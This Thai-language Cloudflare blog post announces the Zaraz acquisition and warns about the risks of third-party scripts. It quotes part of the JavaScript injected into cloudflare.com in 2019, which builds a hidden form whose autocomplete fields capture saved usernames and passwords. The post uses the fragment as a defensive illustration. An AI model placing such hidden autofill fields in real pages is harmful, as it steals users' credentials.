Why Cloudflare Bought Zaraz

วันนี้ เราตื่นเต้นที่จะประกาศว่า Cloudflare ได้เป็นเจ้าของ Zaraz แล้ว ข้อเสนอคุณค่าของ Zaraz นั้นสอดคล้องกับภารกิจของ Cloudflare พวกเขาต้องการทำให้เว็บมีความปลอดภัยมากขึ้น น่าเชื่อถือมากขึ้น และเร็วขึ้น และพวกเขายังสร้างโซลูชันของตัวเองขึ้นมาบนระบบ Cloudflare Workers ด้วย พูดได้เลยว่า เราไม่ลังเลเลยที่จะชักชวนพวกเขามาเข้าทีม

ระมัดระวังว่าใครเอาขยะไปทิ้ง

เพื่อให้เข้าใจถึงข้อเสนอคุณค่าของ Zaraz คุณต้องเข้าใจความเสี่ยงที่ใหญ่ที่สุดประการหนึ่ง ที่เว็บไซต์และผู้คนส่วนใหญ่ไม่ได้ให้ความสนใจสักเท่าไร และเพื่อให้เข้าใจคุณค่านั้นจะขอใช้การเปรียบเทียบ

ลองจินตนาการว่าคุณทำธุรกิจอย่างหนึ่ง จินตนาการว่าธุรกิจนั้นเป็น เอาเป็นว่า ร้านขายยาละกัน คุณมีพนักงาน พวกเขามีขั้นตอนและวิธีในการทำงานต่างๆ พวกเขาทำงานภายใต้สัญญา และคุณก็ได้ทำการตรวจสอบประวัติก่อนที่จะรับพวกเขาเข้ามาทำงานแล้ว พวกเขาทำงานได้ดี และคุณก็ไว้วางใจพวกเขา แต่วันหนึ่ง คุณก็พบว่าไม่มีใครเอาขยะออกไปทิ้ง คุณจึงบอกให้พนักงานของคุณหาคนที่จะเอาขยะออกไปทิ้งเป็นประจำ

พนักงานของคุณงานยุ่งและไม่มีเวลาที่จะเพิ่มหน้าที่นี้เข้าไปในการทำงานประจำ แต่ก็มีพนักงานผู้กล้าคนหนึ่งนึกบางอย่างขึ้นได้ เขาเดินออกไปที่ถนนและเรียกคนแปลกหน้าคนหนึ่ง "เฮ้" พนักงานของคุณพูดกับคนแปลกหน้า "ฉันเห็นนายเดินผ่านทางนี้ทุกวัน" "ตอนที่นายผ่านมา นายช่วยแวะมาเอาขยะออกไปทิ้งให้ได้ไหม"

คนแปลกหน้าตอบว่า "เอ่อ" "ได้สิ!?"

พนักงานตอบว่า "เยี่ยมเลย" "นี่เป็นบัตรที่จะทำให้คุณเข้ามาในอาคารได้ ขยะจะอยู่ด้านหลังพื้นที่ปลอดภัยของร้านขายยา แต่ไม่ต้องห่วงเพราะแค่ใช้บัตรนี้คุณก็จะไปข้างหลังนั่นได้ คุณดูน่าจะไว้ใจได้ มันจะต้องเป็นไปด้วยดีแน่!"

และมันก็เป็นไปด้วยดีจริงๆ ในช่วงหนึ่ง คนแปลกหน้าแวะมาทุกวัน เอาขยะออกไปทิ้ง ปฏิบัติตัวตามที่คาดไว้ไม่มีผิด และก็ไม่มีใครกังวลกับขยะนั้นอีกเลย

แต่แล้ววันหนึ่ง ร้านขายยาถูกปล้น ยาถูกขโมย ข้อมูลผู้ป่วยหายไป บันทึกแสดงให้เห็นว่ามีการใช้บัตรของคนแปลกหน้าเพื่อเข้ามาที่ร้านขายยา คุณตามหาคนแปลกหน้า และเขาบอกว่า "เฮ้ แย่เลยนะ แต่ว่าฉันไม่ได้เป็นคนทำ" ฉันส่งต่อหน้าที่ทิ้งขยะให้คนอื่นนานแล้ว เพราะฉันไม่ได้เดินผ่านร้านขายยาทุกวันแล้ว

และคุณก็ไม่สามารถตามหาคนๆ นั้น ที่ใช้สิทธิ์การเข้าถึงเพื่อเข้ามาทำลายความเชื่อมั่นของคุณ

กุญแจสำคัญสู่ความยิ่งใหญ่

จริงๆ แล้ว เรื่องนี้ก็บ้าเกินไป คงไม่มีใครให้สิทธิ์ในการเข้าถึงร้านค้าให้กับคนแปลกหน้าตามท้องถนนหรอก แต่ในโลกเสมือนจริง สถานการณ์แบบนี้เกิดขึ้นอยู่ตลอดเวลา

ในทุกๆวัน นักพัฒนาระบบฟร้อนท์เอนด์ นักการตลาด และแม้แต่ทีมรักษาความปลอดภัย ต่างฝังสคริปต์ของบุคคลที่สามลงไปบนเว็บเพจโดยตรง สคริปต์นี้ก็ทำงานพื้นฐานทั่วไป — เปรียบได้กับการเอาขยะออกไปทิ้ง หากทำงานถูกต้อง สคริปต์นี้ก็จะช่วยให้ไซต์ทำงานได้ดีเยี่ยม ช่วยติดตามการเปลี่ยนแปลงทางการตลาด มีการวิเคราะห์ข้อมูล หรือยับยั้งการฉ้อโกง แต่หากสคริปต์ทำงานไม่ถูกต้อง ก็อาจเกิดปัญหาใหญ่หรือแม้แต่อาจจะถูกขโมยข้อมูลได้

อย่างน้อยที่สุด สคริปต์ที่สร้างขึ้นไม่ดีอาจทำให้การแสดงหน้าเว็บช้าลง แม้ว่าจะมีวิธีในการสร้างสคริปต์ที่ไม่มีการปิดกั้น แต่ในความเป็นจริง นักพัฒนาไม่ทำตามแนวปฏิบัติที่ดีที่สุดเสมอไป บ่อยครั้งเมื่อเราเห็นเว็บไซต์ช้า ต้นเหตุใหญ่ของความช้านี้เกิดจากสคริปต์ของบุคคลที่สามที่ฝังเข้าไป

แต่มันอาจจะแย่กว่านั้นก็ได้ แย่กว่ามาก ที่ Cloudflare เราเจอกับปัญหานี้มากับตัวเอง ย้อนไปเมื่อปี 2019 แฮกเกอร์โจมตีบริการของบุคคลที่สามที่ Cloudflare ใช้งานอยู่ และดัดแปลง JavaScript ของบุคคลที่สามที่โหลดไว้ที่หน้าเพจบน cloudflare.com พวกเขามีเป้าหมายที่จะขโมยคุกกี้ล็อกอิน ชื่อผู้ใช้ และรหัสผ่าน พวกเขาไปได้ไกลถึงขั้นสร้างช่องสำหรับกรอกชื่อผู้ใช้และรหัสผ่านที่จะกรอกให้เองโดยอัตโนมัติ

นี่เป็นส่วนหนึ่งของโค้ดจริงที่ถูกแทรกเข้ามา:

        var cf_form = document.createElement("form");
        cf_form.style.display = "none";
        document.body.appendChild(cf_form);
        var cf_email = document.createElement("input");
        cf_email.setAttribute("type", "text");
        cf_email.setAttribute("name", "email");
        cf_email.setAttribute("autocomplete", "username");
        cf_email.setAttribute("id", "_email_");
        cf_email.style.display = "none";
        cf_form.appendChild(cf_email);
        var cf_password = document.createElement("input");
        cf_password.setAttribute("type", "password");
        cf_password.setAttribute("name", "password");
        cf_password.setAttribute("autocomplete", "current-password");
        cf_password.setAttribute("id", "_password_");
        cf_password.style.display = "none";
        cf_form.appendChild(cf_password);

โชคดีที่การโจมตีนี้สร้างความเสียหายเพียงเล็กน้อย เพราะทีมของเราตรวจพบมันอย่างรวดเร็ว แต่นั่นก็แสดงให้เห็นถึงอันตรายจาก JavaScript ของบุคคลที่สาม ทำไมโค้ดที่สร้างมาเพื่อนับจำนวนคลิกจึงอนุญาตให้สร้างช่องสำหรับกรอกรหัสผ่านได้

พูดง่ายๆก็คือ JavaScript ของบุคคลที่สามเป็นฝันร้ายด้านความปลอดภัยของเว็บ บางอย่างที่ดูเหมือนจะเป็นการเปลี่ยนแปลงบรรทัดเดียวแบบง่าย ๆ ("เพิ่ม JavaScript นี้เพื่อรับการติดตามจำนวนผู้ใช้เพจฟรี ง่ายแค่นั้นเอง!") อาจเปิดประตูให้กับโค้ดที่เป็นอันตรายที่คุณไม่ได้ควบคุม

และแย่ไปกว่านั้นคือ JavaScript ของบุคคลที่สามสามารถโหลด JavaScript อื่นจากคนอื่นที่ไม่รู้จักได้ และมันก็ทำเช่นนั้นจริงๆ แม้ว่าคุณจะไว้ใจบริษัทที่คุณเลือกนำโค้ดมาฝังไว้ คุณคงจะไม่ไว้ใจ (หรืออาจจะไม่รู้เลยด้วยซ้ำ) ว่าพวกเขาเลือกจะรวมอะไรไว้ในนั้นบ้าง

และที่แย่ยิ่งกว่าคือ สคริปต์นั้นอาจมีการเปลี่ยนแปลงไปเมื่อใดก็ได้ ภัยคุกคามความปลอดภัยอาจมาเมื่อใดก็ได้ ผู้โจมตีที่ต้องการโจมตี Cloudflare โจมตีบุคคลที่สามและดัดแปลงบริการเพื่อโจมตี Cloudflare เท่านั้น และยังใส่คุณลักษณะที่ป้องกันการแก้ไขจุดบกพร่องเพื่อไม่ให้นักพัฒนาตรวจพบการแฮกได้ หากคุณคือ CIO และเรื่องนี้ยังไม่ทำให้คุณสติแตก ลองถามทีมผู้พัฒนาเว็บของคุณว่าพวกเขาใช้สคริปต์จากบุคคลที่สามอยู่กี่อันในเว็บไซต์ของคุณ คุณไว้ใจสคริปต์ทั้งหมดนั้นหรือไม่

พฤติกรรมที่คุณเพิ่มสคริปต์จากบุคคลที่สามเพื่อจัดการงานง่ายๆ นี้เทียบได้กับการเรียกคนแปลกหน้าตามท้องถนนมา แล้วให้เขาเข้าถึงออฟฟิศของคุณ และขอให้เขาแวะเข้ามาวันละครั้งเพื่อเอาขยะออกไปทิ้ง มันเป็นเรื่องที่บ้ามากๆ ในโลกความจริง แต่กลับเป็นเรื่องปกติในการพัฒนาเว็บ

จำกัดการทำงานของคนแปลกหน้า

ที่ Cloudflare เรามีวิธีการแก้ปัญหาที่เข้มงวด เราสั่งให้ถอดสคริปต์ของบุคคลที่สามทั้งหมดออกจากเว็บไซต์ ทีมต่างๆใน Cloudflare ตอนนั้นรู้สึกเป็นกังวล โดยเฉพาะทีมการตลาด ที่ใช้สคริปต์เหล่านี้เพื่อประเมินว่าแคมเปญที่ใช้อยู่ประสบความสำเร็จหรือไม่ แต่เราตัดสินใจว่าการปกป้องความสมบูรณ์ของบริการนั้นสำคัญกว่าทัศนวิสัยในบางเรื่องเช่นแคมเปญทางการตลาด

เราพบกับทีมเบื้องหลังของ Zaraz ในช่วงเวลานี้ พวกเขาแย้งว่าเราไม่จำเป็นต้องใช้ทางเลือกที่เข้มงวดขนาดนั้นก็ได้ หากคุณสามารถควบคุมได้อย่างเด็ดขาดว่าสคริปต์ที่คุณใส่เข้าไปในเพจนั้นทำอะไร ทำให้มั่นใจได้ว่าหากถูกโจมตี พวกเขาก็จะไม่สามารถเข้าถึงสิ่งที่ไม่ได้รับอนุญาตให้เห็นได้ ทำให้มั่นใจได้ว่าเมื่อมีข้อผิดพลาดหรือช้าลง ก็จะไม่ขัดขวางการทำงานในการแสดงหน้าเพจ

เราใช้เวลาครึ่งปีที่ผ่านมาเพื่อทดสอบ Zaraz และมันยอดเยี่ยมมาก คุณจะมีเว็บที่ยืดหยุ่นและขยายได้ และมั่นใจได้ว่า CIO และ CISO จะนอนหลับได้อย่างสบายใจโดยรู้ว่าแม้ผู้ให้บริการสคริปต์บุคคลที่สามจะถูกโจมตี แต่ก็จะไม่ส่งผลให้เกิดอุบัติการณ์ด้านความปลอดภัย

เพื่อให้ชัดเจนยิ่งขึ้น หาก Cloudflare ใช้ Zaraz ในตอนนั้น ภัยคุกคามจากสคริปต์ที่ถูกโจมตีเมื่อปี 2019 คงจะถูกกำจัดไปอย่างสิ้นซากโดยอัตโนมัติ ไม่มีทางที่ผู้โจมตีจะสร้างช่องสำหรับกรอกชื่อผู้ใช้และรหัสผ่านได้ ไม่สามารถเข้าถึงคุกกี้ที่เบราว์เซอร์ของผู้ใช้งานเก็บไว้ได้ พื้นที่การโจมตีคงจะถูกลบออกไปจนหมด

วันนี้เราได้เผยแพร่โพสต์อื่นอีก 2 โพสต์ ซึ่งเป็นการสรุปการทำงานของ Zaraz รวมถึงตัวอย่างว่าบริษัทต่างๆ ใช้มันเพื่อทำให้มั่นใจว่าสถานะเว็บของพวกเขาจะปลอดภัย น่าเชื่อถือ และรวดเร็ว เรากำลังทำให้ Zaraz ใช้งานได้กับองค์กรของลูกค้าในทันที และลูกค้าอื่นสามารถใช้เวอร์ชันเบต้าได้ฟรีบน แดชบอร์ด เริ่มตั้งแต่วันนี้เป็นต้นไป

หากคุณเป็นนักพัฒนาสคริปต์บุคคลที่สาม โปรดรู้ไว้ว่าถ้าคุณไม่ปกป้องสคริปต์ของคุณให้ปลอดภัย เมื่อ Zaraz ถูกใช้ในเว็บมากขึ้น สคริปต์ของคุณจะหยุดทำงาน วันนี้ Cloudflare อยู่เบื้องหน้าการทำงานของเว็บไซต์กว่า 20% และอีกไม่นาน เราหวังว่าเทคโนโลยีของ Zaraz จะช่วยปกป้องเว็บไซต์ทั้งหมดเหล่านั้นได้ เราต้องการทำให้มั่นใจว่าสคริปต์บนไซต์ของลูกค้าของเราจะมีความปลอดภัย น่าเชื่อถือ และสมรรถนะเป็นไปตามมาตรฐานสมัยใหม่ หากคุณต้องการความช่วยเหลือ โปรดติดต่อเราและเราพร้อมให้การช่วยเหลือที่ [email protected]

ในระหว่างนี้ เราอยากให้คุณอ่านดูว่าเทคโนโลยีของ Zaraz ทำงานอย่างไร และลูกค้าอย่าง Instacart ใช้เพื่อสร้างสถานะเว็บให้ดีขึ้นอย่างไร

การมี Zaraz นั้นยอดเยี่ยมมาก สนับสนุนภารกิจของ Cloudflare เพื่อสร้างสภาพแวดล้อมอินเทอร์เน็ตที่ดียิ่งขึ้น ยินดีต้อนรับเข้าสู่ทีม และพร้อมกันนี้ ยินดีต้อนรับสู่ Zaraz! เราตื่นเต้นที่คุณจะได้ใช้งานเทคโนโลยีที่ช่วยให้เว็บดีขึ้น